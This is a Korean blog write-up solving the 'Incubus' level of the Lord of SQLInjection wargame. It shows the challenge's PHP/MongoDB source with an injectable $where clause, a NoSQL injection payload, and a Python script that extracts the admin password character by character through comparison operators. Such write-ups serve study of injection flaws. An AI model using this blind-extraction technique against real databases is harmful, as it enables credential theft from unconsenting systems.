워게임/Lord of SQLInjection
[Lord of SQLInjection] Incubus Write UP
작성자 - LRTK문제 코드
<?php
include "./config.php";
login_chk();
$db = mongodb_connect();
if(preg_match('/prob|_|\(/i', $_GET['id'])) exit("No Hack ~_~");
if(preg_match('/prob|_|\(/i', $_GET['pw'])) exit("No Hack ~_~");
$query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['pw'] === $_GET['pw']) solve("incubus");
highlight_file(__FILE__);
?>
공격 백터
- id
- pw
공격 백터에 대한 검증
- id :
prob, _, (
- pw :
prob, _, (
코드 분석
$db = mongodb_connect();
DB가 mongodb이므로 NoSQLi 문제로 보인다.
$query = array("\$where" => "function(){return obj.id=='{$_GET['id']}'&&obj.pw=='{$_GET['pw']}';}");
echo "<hr>query : <strong>".json_encode($query)."</strong><hr><br>";
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['id']) echo "<h2>Hello {$result['id']}</h2>";
필터링을 통과한 공격 백터 id와 pw는 "id" => "공격 백터 id", "pw" => "공격 백터 pw"
에 들어가서 Json 형식으로 인코딩된다. 인코딩된 값은 {"id":"공격 백터 id", "pw":"공격 백터 pw"}
이며, MongoDB에 전달이 된다.
해당 쿼리의 id 반환값이 있다면 Hello id 반환값
이 화면에 출력된다.
$query = array("id" => "admin");
$result = mongodb_fetch_array($db->prob_incubus->find($query));
if($result['pw'] === $_GET['pw']) solve("incubus");
MongoDB에 저장된 admin의 pw과 공격 백터 pw이 일치해야 클리어할 수 있다.
문제 풀이
문제를 풀기 전에 몇 가지 테스트를 해봤다.
테스트를 통해 알아낸 것은 function 안의 쿼리문은 ,
을 or
로 인식한다는 점과 >, <
의 연산자를 통해 pw를 알아낼 수 있다는 것이다. >, <
의 연산자를 문자에 사용하면, 문자의 순서로 크기를 비교한다.
이를 통해서 pw를 손쉽게 구할 수 있을거로 판단된다.
from SQLI import SQLI
import string
from urllib import parse
url = 'https://los.rubiya.kr/chall/incubus_3dff9ce783c9f574edf015a7b99450d7.php?'
cookie = 'nojp5m1iml5171g1bu9opu030q'
sqli = SQLI(url, cookie)
pw = ''
while True:
temp = ''
for s in string.digits + string.ascii_lowercase:
query = f"pw='||obj.id=='admin'%26%26obj.pw>='{pw + s}"
result = sqli.pw_parsing(query)
if 'Hello admin' not in result:
pw += temp
print('pw >>>', pw)
check = False
break
else:
temp = s
이와 같이 손쉽게 구할 수 있다.
파이썬으로 구한 값을 서버로 보내면 클리어 된다.
SQLI.py
import requests, time
class SQLI:
def __init__(self, url:str, cookie:str):
self.url = url
self.cookies = {'PHPSESSID' : cookie}
def pw_parsing(self, query:str):
response = requests.get(self.url + query, cookies=self.cookies)
return response.text
def timeBased(self, query:str):
start = time.time()
response = requests.get(self.url + query, cookies=self.cookies)
return response.text, time.time()-start
랭킹 132등으로 마무리 할 수 있었다.
새로운 문제가 나오면 그때 또 풀이를 쓰겠다.
ALLClear의 페이지는 어떻게 생겼는지 궁금한 분들도 있을거 같아서 위에 첨부합니다.
'워게임 > Lord of SQLInjection' 카테고리의 다른 글
[Lord of SQLInjection] Siren Write UP (0) | 2021.09.22 |
---|---|
[Lord of SQLInjection] Cerberus Write UP (0) | 2021.09.22 |
[Lord of SQLInjection] Kraken Write UP (0) | 2021.09.21 |
[Lord of SQLInjection] Mummy Write UP (0) | 2021.09.20 |
[Lord of SQLInjection] Yeti Write UP (0) | 2021.09.19 |
Contents